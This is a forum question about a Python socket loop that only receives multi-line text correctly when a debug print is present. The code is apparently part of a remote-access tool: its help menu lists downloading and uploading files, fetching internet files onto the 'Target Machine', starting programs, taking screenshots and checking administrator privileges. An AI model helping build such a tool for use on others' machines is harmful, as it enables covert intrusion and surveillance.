[Python] Python Socket Communication Breaks When Removing print Statement

I send multi line python string with socket:

elif command=="help":
help_options='''
download <path> -> Download a File from Target Machine
upload <path> -> Upload a File to Targe
get <url> -> Download a File to Target Machine from Internet
start <program> -> Start Program on Target Machine
screenshot -> Take screenshot of the Target Screen
check -> Check for Administrator Privileges
'''
lines=help_options.splitlines()
for line in lines:
send_payload(line.encode("utf-8"))
send_payload("END".encode("utf-8"))


from the client this is how I am receiving:

elif command=="help":
complete_message=""
while True:
line=receive_payload()
# ---- FIRST TRY FAILED
# if not line:
# time.sleep(0.01)
# continue

# --- SECOND TRY FAILED
# if not line:
# continue

# --- THIRD TRY FAILED ---
# time.sleep(0.01)

# ------- IT WORKS ONLY WITH THIS PRINT STATEMENT
# print(f"line {line}")
if line=="END":
break
if isinstance(line,bytes):
complete_message += line.decode('utf-8') + "\n"
else:
complete_message+=line+"\n"
print(complete_message)


I received text successfully by mistake when I added this debugging line

print(f"line {line}")




Does anyone know why the loop only works when printing the received data? Is there something going on with the socket buffer or the way the data is being handled in chunks?

Any insights or suggestions would be greatly appreciated!

receive_payload and send_payload functions work successfully. If needed, I can post

this is send_payload

def send_payload(data):
if isinstance(data, bytes):
# If data is in binary form (like a file), encode it in base64
data = base64.b64encode(data).decode('utf-8')
padding = len(data) % 4
if padding != 0:
data += "=" * (4 - padding) # Manually add padding if necessary

# By converting the entire data object to a JSON string, the function ensures that all data is sent as a single, self-contained message.
# This reduces the risk of partial or malformed messages due to network issues or incorrect handling of the raw data.
json_data = json.dumps({"data": data}) # Package the data in a dictionary and then serialize it
sock.send(json_data.encode("utf-8"))

print("data is sent from target machine")


this is receive_payload:

def receive_payload():
json_data = ""
while True:
try:
chunk = target.recv(1024).decode("utf-8")
print(f"Chunk received: {chunk}")
if not chunk:
break
json_data += chunk # Collect chunks
try:
data = json.loads(json_data) # Load JSON data
file_data = data.get("data")
if file_data:
# Ensure correct padding for base64 data
padding = len(file_data) % 4
if padding != 0:
print(f"Adding {4 - padding} padding to base64 data.")
file_data += "=" * (4 - padding)
# Decode the base64 data
file_data = base64.b64decode(file_data)
return file_data # Return decoded data
except base64.binascii.Error as e:
print(f"Error during base64 decoding: {e}")
pass
return None # If it's not base64-encoded, return None
except json.JSONDecodeError:
# Handle incomplete JSON
print("Incomplete JSON received. Waiting for more data.")
continue

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